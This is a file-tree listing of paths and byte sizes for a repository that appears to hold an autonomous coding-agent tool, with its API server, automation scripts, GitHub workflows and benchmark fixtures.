  • .github/CODEOWNERSasset13 bytes
  • .github/CODE_OF_CONDUCT.mddoc1,866 bytes
  • .github/CONTRIBUTING.mddoc6,706 bytes
  • .github/DISCUSSION_TEMPLATE/ideas.ymlasset1,292 bytes
  • .github/DISCUSSION_TEMPLATE/q-and-a.ymlasset1,097 bytes
  • .github/DISCUSSION_TEMPLATE/show-and-tell.ymlasset1,133 bytes
  • .github/ISSUE_TEMPLATE/bug_report.mddoc989 bytes
  • .github/ISSUE_TEMPLATE/config.ymlasset353 bytes
  • .github/ISSUE_TEMPLATE/enterprise.mddoc1,659 bytes
  • .github/ISSUE_TEMPLATE/feature_request.mddoc578 bytes
  • .github/PULL_REQUEST_TEMPLATE.mddoc914 bytes
  • .github/actions/issue-to-pr/action.ymlasset12,059 bytes
  • .github/actions/receipt-check/action.ymlasset1,157 bytes
  • .github/actions/receipt-check/check.shruns2,011 bytes
  • .github/actions/review/action.ymlasset1,171 bytes
  • .github/cla/version1/cla.jsonasset1,199 bytes
  • .github/dependabot.ymlasset666 bytes
  • .github/workflows/converge-dist-tags.ymlasset2,465 bytes
  • .github/workflows/pr-fast.ymlasset2,274 bytes
  • .github/workflows/release.ymlasset39,972 bytes
  • .github/workflows/sdk-freshness.ymlasset543 bytes
  • .gitignoreasset4,336 bytes
  • .gitleaksignoreasset17,647 bytes
  • .mcp.jsonasset216 bytes
  • .npmignoreasset1,315 bytes
  • CHANGELOG.mddoc2,183,614 bytes
  • CLA.mddoc1,640 bytes
  • CLAUDE.mddoc7,416 bytes
  • COMMERCIAL-TERMS.mddoc3,778 bytes
  • LICENSEasset3,923 bytes
  • README.mddoc15,427 bytes
  • SECURITY.mddoc1,012 bytes
  • SKILL.mdcore28,953 bytes
  • SKILL.mdcore28,953 bytes
  • SKILL.mdcore28,953 bytes
  • SKILL.mdcore28,953 bytes
  • SKILL.mdcore28,953 bytes
  • SKILL.mdcore28,953 bytes
  • UPGRADING.mddoc970 bytes
  • VERSIONasset9 bytes
  • action.ymlasset18,256 bytes
  • agents/custom_agents.pyruns10,207 bytes
  • agents/hub_install.pyruns24,140 bytes
  • agents/managed_registry.pyruns8,197 bytes
  • agents/types.jsonasset16,561 bytes
  • api/README.mddoc7,117 bytes
  • api/client.tsruns9,623 bytes
  • api/middleware/auth.tsruns2,989 bytes
  • api/middleware/cors.tsruns3,132 bytes
  • api/middleware/error.tsruns6,196 bytes
  • api/middleware/timing.tsruns3,382 bytes
  • api/mod.tsruns1,173 bytes
  • api/openapi.yamlasset31,193 bytes
  • api/routes/events.tsruns4,347 bytes
  • api/routes/health.tsruns8,272 bytes
  • api/routes/learning.tsruns13,013 bytes
  • api/routes/memory.tsruns39,720 bytes
  • api/routes/sessions.tsruns8,480 bytes
  • api/routes/tasks.tsruns4,586 bytes
  • api/server.jsruns23,035 bytes
  • api/server.tsruns12,991 bytes
  • api/services/cli-bridge.tsruns13,642 bytes
  • api/services/event-bus.tsruns4,508 bytes
  • api/services/learning-collector.tsruns20,423 bytes
  • api/services/state-notifications.tsruns10,395 bytes
  • api/services/state-watcher.tsruns15,147 bytes
  • api/types/api.tsruns2,131 bytes
  • api/types/events.tsruns2,714 bytes
  • api/types/memory.tsruns6,882 bytes
  • assets/lokesh_brand_full.pngasset1,331,486 bytes
  • assets/publisher-icon-128.pngasset8,230 bytes
  • assets/welcome/welcome.htmlasset17,381 bytes
  • autonomy/CONSTITUTION.mddoc16,225 bytes
  • autonomy/NOTIFY_INTEGRATION.mddoc9,535 bytes
  • autonomy/README.mddoc7,665 bytes
  • autonomy/acp-agent.pyruns4,361 bytes
  • autonomy/api-server.jsruns18,016 bytes
  • autonomy/app-runner.shruns88,865 bytes
  • autonomy/bmad-adapter.pyruns40,499 bytes
  • autonomy/checklist-verify.pyruns28,533 bytes
  • autonomy/completion-council.shruns245,055 bytes
  • autonomy/config.example.yamlasset6,246 bytes
  • autonomy/context-tracker.pyruns16,597 bytes
  • autonomy/council-v2.shruns29,428 bytes
  • autonomy/crash.shruns9,867 bytes
  • autonomy/docker-run.shruns21,434 bytes
  • autonomy/edit.shruns10,451 bytes
  • autonomy/grill.shruns20,260 bytes
  • autonomy/hooks/migration-hooks.shruns45,457 bytes
  • autonomy/hooks/quality-gate.shruns1,280 bytes
  • autonomy/hooks/session-init.shruns1,712 bytes
  • autonomy/hooks/store-episode.shruns1,560 bytes
  • autonomy/hooks/track-metrics.shruns703 bytes
  • autonomy/hooks/validate-bash.shruns48,219 bytes
  • autonomy/intent.shruns16,636 bytes
  • autonomy/issue-parser.shruns26,100 bytes
  • autonomy/issue-providers.shruns24,900 bytes
  • autonomy/lib/ablation.pyruns16,241 bytes
  • autonomy/lib/assets_bundle.pyruns17,418 bytes
  • autonomy/lib/backlog.pyruns33,128 bytes
  • autonomy/lib/browser-open.shruns1,884 bytes
  • autonomy/lib/chat.shruns25,879 bytes
  • autonomy/lib/check_author.pyruns14,766 bytes
  • autonomy/lib/checkpoint_sync.pyruns15,495 bytes
  • autonomy/lib/claim_grounding.pyruns7,094 bytes
  • autonomy/lib/claude-flags.shruns62,802 bytes
  • autonomy/lib/claude_permissions.pyruns3,600 bytes
  • autonomy/lib/cockpit-render.shruns15,509 bytes
  • autonomy/lib/config-map.shruns50,526 bytes
  • autonomy/lib/contract-scaffold/README.mddoc4,020 bytes
  • autonomy/lib/contract-scaffold/generate.mjsruns3,830 bytes
  • autonomy/lib/contract-scaffold/scaffold.shruns4,675 bytes
  • autonomy/lib/contract-scaffold/templates/server/index.mjs.tmplasset2,574 bytes
  • autonomy/lib/contract-scaffold/templates/server/package.json.tmplasset212 bytes
  • autonomy/lib/contract-scaffold/templates/ui/ListView.tsx.tmplasset3,165 bytes
  • autonomy/lib/contract-scaffold/templates/ui/theme.css.tmplasset3,590 bytes
  • autonomy/lib/cost-summary.pyruns12,398 bytes
  • autonomy/lib/cr-rematerialize.pyruns7,701 bytes
  • autonomy/lib/crash_capture.pyruns8,808 bytes
  • autonomy/lib/crash_redact.pyruns19,662 bytes
  • autonomy/lib/deadline.pyruns36,766 bytes
  • autonomy/lib/decision_record.pyruns11,289 bytes
  • autonomy/lib/dependency-setup.shruns7,737 bytes
  • autonomy/lib/done-recognition.shruns48,034 bytes
  • autonomy/lib/efficiency_cost.pyruns17,725 bytes
  • autonomy/lib/effort_estimator.pyruns15,241 bytes
  • autonomy/lib/engine10-push-gitlab.shruns6,255 bytes
  • autonomy/lib/engine10-push.shruns20,778 bytes
  • autonomy/lib/expectation-ledger.pyruns13,940 bytes
  • autonomy/lib/failure_memory.pyruns7,952 bytes
  • autonomy/lib/fast_verify.pyruns18,131 bytes
  • autonomy/lib/functional-verify.pyruns18,897 bytes
  • autonomy/lib/gate_policy.pyruns2,334 bytes
  • autonomy/lib/git-pr-advisory.shruns4,734 bytes
  • autonomy/lib/help-core.shruns6,830 bytes
  • autonomy/lib/iteration_attribution.pyruns11,458 bytes
  • autonomy/lib/json-output.shruns1,192 bytes
  • autonomy/lib/lock.shruns5,120 bytes
  • autonomy/lib/loki_yaml.pyruns8,612 bytes
  • autonomy/lib/mcp-config.shruns13,841 bytes
  • autonomy/lib/modernize/java_capture.shruns21,923 bytes
  • autonomy/lib/modernize/py_capture.pyruns27,308 bytes
  • autonomy/lib/modernize/py_imports.pyruns8,870 bytes
  • autonomy/lib/no_mock_scan.pyruns29,199 bytes
  • autonomy/lib/os_sandbox.pyruns23,584 bytes
  • autonomy/lib/outcome_contract.pyruns5,148 bytes
  • autonomy/lib/outcome_ledger.pyruns21,010 bytes
  • autonomy/lib/own-render.pyruns28,777 bytes
  • autonomy/lib/prd-enrich.shruns19,539 bytes
  • autonomy/lib/preedit_snapshot.pyruns9,241 bytes
  • autonomy/lib/project-graph.shruns25,958 bytes
  • autonomy/lib/proof-analytics-props.pyruns6,124 bytes
  • autonomy/lib/proof-check.shruns12,280 bytes
  • autonomy/lib/proof-generator.pyruns119,444 bytes
  • autonomy/lib/proof-pr.shruns17,300 bytes
  • autonomy/lib/proof-template.htmlasset69,282 bytes
  • autonomy/lib/proof-verify.pyruns78,762 bytes
  • autonomy/lib/proof_redact.pyruns15,011 bytes
  • autonomy/lib/requirements_contract.pyruns28,524 bytes
  • autonomy/lib/review_risk.pyruns3,622 bytes
  • autonomy/lib/run-summary.shruns5,586 bytes
  • autonomy/lib/scaffold-hook.shruns3,613 bytes
  • autonomy/lib/sdk-mode.shruns4,833 bytes
  • autonomy/lib/secret-paths.jsonasset188 bytes
  • autonomy/lib/secret-scan.shruns8,390 bytes
  • autonomy/lib/secure-scan.pyruns42,947 bytes
  • autonomy/lib/sentrux-gate.shruns5,788 bytes
  • autonomy/lib/setup-requirements.jsonasset4,458 bytes
  • autonomy/lib/silence_report.pyruns5,799 bytes
  • autonomy/lib/skill-link-heal.shruns7,799 bytes
  • autonomy/lib/spec-expand.shruns8,035 bytes
  • autonomy/lib/telemetry-schema.jsonasset9,286 bytes
  • autonomy/lib/tree_digest.pyruns8,224 bytes
  • autonomy/lib/trust_metrics.pyruns23,487 bytes
  • autonomy/lib/trust_trajectory.pyruns21,469 bytes
  • autonomy/lib/verdict.pyruns7,379 bytes
  • autonomy/lib/voter-agents.shruns26,581 bytes
  • autonomy/lib/wiki-ask.pyruns4,744 bytes
  • autonomy/lib/wiki-generator.pyruns21,673 bytes
  • autonomy/lib/wiki_index.pyruns9,360 bytes
  • autonomy/lib/wiki_llm.pyruns6,089 bytes
  • autonomy/lib/workspace.pyruns31,866 bytes
  • autonomy/lib/workspace_comment.pyruns3,844 bytes
  • autonomy/lib/workspace_diff.pyruns10,430 bytes
  • autonomy/lib/workspace_metrics.pyruns3,336 bytes
  • autonomy/lib/worktree_prep.pyruns7,076 bytes
  • autonomy/lokiruns1,737,519 bytes
  • autonomy/mcp-launch.shruns25,424 bytes
  • autonomy/migration-agents.shruns21,319 bytes
  • autonomy/mirofish-adapter.pyruns51,638 bytes
  • autonomy/mobile-verify.shruns2,337 bytes
  • autonomy/notification-checker.pyruns15,109 bytes
  • autonomy/notify.shruns9,167 bytes
  • autonomy/openspec-adapter.pyruns29,005 bytes
  • autonomy/playwright-verify.shruns38,891 bytes
  • autonomy/prd-analyzer.pyruns30,318 bytes
  • autonomy/prd-checklist.shruns68,025 bytes
  • autonomy/provider-offer.shruns29,207 bytes
  • autonomy/queue-consumer.shruns14,195 bytes
  • autonomy/quickstart.shruns78,787 bytes
  • autonomy/receipt_jwt.pyruns18,300 bytes
  • autonomy/route.shruns28,859 bytes
  • autonomy/run.shruns1,503,812 bytes
  • autonomy/sandbox.shruns86,269 bytes
  • autonomy/seccomp-sandbox.jsonasset9,533 bytes
  • autonomy/serve.shruns6,906 bytes
  • autonomy/setup-wizard.shruns7,010 bytes
  • autonomy/spec-interrogation.shruns60,767 bytes
  • autonomy/spec.shruns33,356 bytes
  • autonomy/telemetry.shruns30,418 bytes
  • autonomy/trigger-schedule.pyruns11,118 bytes
  • autonomy/trigger-server.pyruns117,506 bytes
  • autonomy/tui.shruns13,955 bytes
  • autonomy/verify.shruns169,214 bytes
  • autonomy/voice.shruns14,433 bytes
  • benchmarks/bench/prices.jsonasset2,309 bytes
  • benchmarks/h2h/RESULTS.mddoc42,033 bytes
  • benchmarks/h2h/fixtures/hard/go-expr-autoderef/meta.jsonasset1,577 bytes
  • benchmarks/h2h/fixtures/hard/go-expr-autoderef/task.txtdoc173 bytes
  • benchmarks/h2h/fixtures/hard/go-expr-withcontext/meta.jsonasset1,569 bytes
  • benchmarks/h2h/fixtures/hard/go-expr-withcontext/task.txtdoc1,092 bytes
  • benchmarks/h2h/fixtures/hard/py-click-help-option-cls/meta.jsonasset2,787 bytes
  • benchmarks/h2h/fixtures/hard/py-click-help-option-cls/task.txtdoc2,842 bytes
  • benchmarks/h2h/fixtures/hard/py-click-show-default-prompt/meta.jsonasset2,692 bytes
  • benchmarks/h2h/fixtures/hard/py-click-show-default-prompt/task.txtdoc545 bytes
  • benchmarks/h2h/fixtures/hard/py-mistune-codespan-escape/meta.jsonasset1,806 bytes
  • benchmarks/h2h/fixtures/hard/py-mistune-codespan-escape/task.txtdoc348 bytes
  • benchmarks/h2h/fixtures/hard/py-mistune-md-leading-newlines/meta.jsonasset1,819 bytes
  • benchmarks/h2h/fixtures/hard/py-mistune-md-leading-newlines/task.txtdoc528 bytes
  • benchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/meta.jsonasset1,948 bytes
  • benchmarks/h2h/fixtures/hard/py-mistune-toc-reflinks/task.txtdoc1,404 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-hash-case/meta.jsonasset2,795 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-hash-case/task.txtdoc938 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/meta.jsonasset2,894 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/task.txtdoc1,317 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-timestampadd/meta.jsonasset2,769 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-timestampadd/task.txtdoc1,724 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/meta.jsonasset2,924 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/task.txtdoc1,957 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/meta.jsonasset2,770 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/task.txtdoc1,648 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/meta.jsonasset2,836 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/task.txtdoc2,677 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlparse-compare-expr/meta.jsonasset1,616 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlparse-compare-expr/task.txtdoc1,857 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlparse-window-over/meta.jsonasset1,443 bytes
  • benchmarks/h2h/fixtures/hard/py-sqlparse-window-over/task.txtdoc4,575 bytes
  • benchmarks/h2h/fixtures/hard/py-tomlkit-array-remove/meta.jsonasset1,923 bytes
  • benchmarks/h2h/fixtures/hard/py-tomlkit-array-remove/task.txtdoc626 bytes
  • benchmarks/h2h/fixtures/hard/py-tomlkit-table-update/meta.jsonasset2,509 bytes
  • benchmarks/h2h/fixtures/hard/py-tomlkit-table-update/task.txtdoc1,170 bytes
  • benchmarks/h2h/fixtures/hard/py-tomlkit-value-bool/meta.jsonasset2,260 bytes
  • benchmarks/h2h/fixtures/hard/py-tomlkit-value-bool/task.txtdoc1,154 bytes
  • benchmarks/h2h/h2h.pyruns66,885 bytes
  • benchmarks/h2h/replay/go-semver-dirty-lte/meta.jsonasset1,605 bytes
  • benchmarks/h2h/replay/go-semver-dirty-lte/task.txtdoc563 bytes
  • benchmarks/h2h/replay/go-semver-four-part/meta.jsonasset1,769 bytes
  • benchmarks/h2h/replay/go-semver-four-part/task.txtdoc586 bytes
  • benchmarks/h2h/replay/py-boltons-research-tuples/meta.jsonasset2,149 bytes
  • benchmarks/h2h/replay/py-boltons-research-tuples/task.txtdoc1,210 bytes
  • benchmarks/h2h/replay/py-cachetools-grow-evict/meta.jsonasset1,729 bytes
  • benchmarks/h2h/replay/py-cachetools-grow-evict/task.txtdoc3,023 bytes
  • benchmarks/h2h/replay/py-cachetools-ttl-overflow/meta.jsonasset1,532 bytes
  • benchmarks/h2h/replay/py-cachetools-ttl-overflow/task.txtdoc1,340 bytes
  • benchmarks/h2h/replay/py-moreit-value-chain/meta.jsonasset2,065 bytes
  • benchmarks/h2h/replay/py-moreit-value-chain/task.txtdoc2,402 bytes
  • benchmarks/h2h/replay/py-parse-tz-groups/meta.jsonasset1,550 bytes
  • benchmarks/h2h/replay/py-parse-tz-groups/task.txtdoc1,166 bytes
  • benchmarks/h2h/replay/py-toolz-partition-len/meta.jsonasset1,767 bytes
  • benchmarks/h2h/replay/py-toolz-partition-len/task.txtdoc1,690 bytes
  • benchmarks/h2h/results/2026-11-01-0ff237642.jsonasset499,830 bytes
  • benchmarks/h2h/results/2026-11-01-2100eda48-replay.jsonasset113,087 bytes
  • benchmarks/h2h/results/2026-11-01-2499d6aee-hard-pilot.jsonasset113,282 bytes
  • benchmarks/h2h/results/2026-11-01-33004105f.jsonasset48,105 bytes
  • benchmarks/h2h/results/2026-11-01-65440abaf-before.jsonasset191,027 bytes
  • benchmarks/h2h/results/2026-11-01-7359dab35-learning.jsonasset252,357 bytes
  • benchmarks/h2h/results/2026-11-01-9571a21f7.jsonasset52,994 bytes
  • benchmarks/h2h/results/2026-11-01-9fe15d528.jsonasset85,539 bytes
  • benchmarks/h2h/results/2026-11-01-e13f3dd72-hard.jsonasset1,069,692 bytes
  • benchmarks/h2h/results/2026-11-01-e15916767.jsonasset54,589 bytes
  • benchmarks/h2h/results/2026-11-01-learning-v2-after.jsonasset922,294 bytes
  • benchmarks/h2h/results/2026-11-01-learning-v2-before.jsonasset307,579 bytes
  • benchmarks/h2h/results/2026-11-01-win-bench-v2-after.jsonasset177,159 bytes
  • benchmarks/h2h/results/2026-11-01-win-bench-v2-review-fixes.jsonasset173,645 bytes
  • benchmarks/h2h/results/2026-11-02-pr471-new-haiku-5eef084a0.jsonasset202,365 bytes
  • benchmarks/h2h/results/2026-11-02-pr471-old-haiku-4c51599fb.jsonasset337,655 bytes
  • benchmarks/h2h/run.shruns2,829 bytes
  • benchmarks/h2h/sequences/go-cli-commands/meta.jsonasset625 bytes
  • benchmarks/h2h/sequences/go-cli-commands/repo/cli/add.goruns782 bytes
  • benchmarks/h2h/sequences/go-cli-commands/repo/cli/cli.goruns868 bytes
  • benchmarks/h2h/sequences/go-cli-commands/repo/go.modasset34 bytes
  • benchmarks/h2h/sequences/go-cli-commands/repo/notes/store.goruns1,339 bytes
  • benchmarks/h2h/sequences/go-cli-commands/repo/tests/visible_test.goruns1,484 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s1/hidden/list_hidden_test.goruns2,233 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s1/solution/cli/list.goruns1,000 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s1/task.txtdoc1,013 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s2/hidden/done_hidden_test.goruns1,489 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s2/solution/cli/done.goruns902 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s2/task.txtdoc867 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/hidden/remove_hidden_test.goruns2,928 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/help.goruns824 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/remove.goruns480 bytes
  • benchmarks/h2h/sequences/go-cli-commands/steps/s3/task.txtdoc1,622 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/meta.jsonasset993 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/repo/go.modasset34 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/mathx.goruns324 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/registry.goruns177 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/repo/tests/conventions_test.goruns1,496 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/repo/tests/mathx_test.goruns310 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/hidden/gcd_hidden_test.goruns546 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/mathx.goruns489 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/registry.goruns192 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s1/task.txtdoc208 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/hidden/lcm_hidden_test.goruns531 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/mathx.goruns670 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/solution/mathx/registry.goruns207 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s2/task.txtdoc186 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/hidden/prime_hidden_test.goruns561 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/mathx.goruns850 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/solution/mathx/registry.goruns236 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s3/task.txtdoc214 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/hidden/pow_hidden_test.goruns784 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/mathx.goruns1,102 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/solution/mathx/registry.goruns253 bytes
  • benchmarks/h2h/sequences/go-mathx-registry/steps/s4/task.txtdoc292 bytes
  • benchmarks/h2h/sequences/py-report-formats/meta.jsonasset742 bytes
  • benchmarks/h2h/sequences/py-report-formats/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/__init__.pyruns126 bytes
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/__init__.pyruns69 bytes
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/exporters/text_exporter.pyruns411 bytes
  • benchmarks/h2h/sequences/py-report-formats/repo/reports/summary.pyruns904 bytes
  • benchmarks/h2h/sequences/py-report-formats/repo/tests/test_reports.pyruns795 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s1/hidden/test_csv_hidden.pyruns1,140 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s1/solution/reports/exporters/csv_exporter.pyruns557 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s1/task.txtdoc894 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s2/hidden/test_json_hidden.pyruns1,293 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s2/solution/reports/exporters/json_exporter.pyruns396 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s2/task.txtdoc866 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/hidden/test_markdown_hidden.pyruns1,767 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/__init__.pyruns758 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/solution/reports/exporters/markdown_exporter.pyruns445 bytes
  • benchmarks/h2h/sequences/py-report-formats/steps/s3/task.txtdoc1,339 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/meta.jsonasset1,146 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_conventions.pyruns944 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/tests/test_transforms.pyruns230 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/__init__.pyruns106 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/repo/textkit/transforms.pyruns683 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/hidden/test_truncate_hidden.pyruns777 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/solution/textkit/transforms.pyruns1,043 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s1/task.txtdoc461 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/hidden/test_snake_hidden.pyruns649 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/solution/textkit/transforms.pyruns1,404 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s2/task.txtdoc486 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/hidden/test_accents_hidden.pyruns594 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/solution/textkit/transforms.pyruns1,684 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s3/task.txtdoc303 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/hidden/test_wrap_hidden.pyruns795 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/solution/textkit/transforms.pyruns2,217 bytes
  • benchmarks/h2h/sequences/py-textkit-doctest/steps/s4/task.txtdoc524 bytes
  • benchmarks/h2h/sequences/py-unit-registry/meta.jsonasset1,130 bytes
  • benchmarks/h2h/sequences/py-unit-registry/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_conventions.pyruns997 bytes
  • benchmarks/h2h/sequences/py-unit-registry/repo/tests/test_converters.pyruns474 bytes
  • benchmarks/h2h/sequences/py-unit-registry/repo/units/__init__.pyruns73 bytes
  • benchmarks/h2h/sequences/py-unit-registry/repo/units/converters.pyruns409 bytes
  • benchmarks/h2h/sequences/py-unit-registry/repo/units/registry.pyruns436 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/hidden/test_celsius_hidden.pyruns698 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/converters.pyruns516 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/solution/units/registry.pyruns511 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s1/task.txtdoc256 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/hidden/test_km_hidden.pyruns762 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/converters.pyruns677 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/solution/units/registry.pyruns584 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s2/task.txtdoc214 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/hidden/test_kg_hidden.pyruns755 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/converters.pyruns836 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/solution/units/registry.pyruns657 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s3/task.txtdoc213 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/hidden/test_liters_hidden.pyruns951 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/converters.pyruns1,012 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/solution/units/registry.pyruns896 bytes
  • benchmarks/h2h/sequences/py-unit-registry/steps/s4/task.txtdoc414 bytes
  • benchmarks/h2h/sequences/py-validators/meta.jsonasset741 bytes
  • benchmarks/h2h/sequences/py-validators/repo/forms/__init__.pyruns106 bytes
  • benchmarks/h2h/sequences/py-validators/repo/forms/errors.pyruns253 bytes
  • benchmarks/h2h/sequences/py-validators/repo/forms/validators.pyruns864 bytes
  • benchmarks/h2h/sequences/py-validators/repo/pytest.iniasset42 bytes
  • benchmarks/h2h/sequences/py-validators/repo/tests/test_validators.pyruns1,073 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s1/hidden/test_email_hidden.pyruns1,552 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s1/solution/forms/validators.pyruns1,760 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s1/task.txtdoc1,049 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s2/hidden/test_phone_hidden.pyruns1,380 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s2/solution/forms/validators.pyruns2,466 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s2/task.txtdoc976 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s3/hidden/test_form_hidden.pyruns2,843 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s3/solution/forms/validators.pyruns4,097 bytes
  • benchmarks/h2h/sequences/py-validators/steps/s3/task.txtdoc1,908 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/meta.jsonasset974 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/repo/package.jsonruns131 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/repo/src/catalog.tsruns562 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/repo/src/format.tsruns629 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/repo/src/guard.tsruns212 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/repo/test/conventions.test.tsruns881 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/repo/test/format.test.tsruns548 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/hidden/duration.hidden.test.tsruns943 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/catalog.tsruns650 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/solution/src/format.tsruns1,075 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s1/task.txtdoc425 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/hidden/ordinal.hidden.test.tsruns932 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/catalog.tsruns728 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/solution/src/format.tsruns1,415 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s2/task.txtdoc301 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/hidden/compact.hidden.test.tsruns712 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/catalog.tsruns808 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/solution/src/format.tsruns1,734 bytes
  • benchmarks/h2h/sequences/ts-format-catalog/steps/s3/task.txtdoc437 bytes
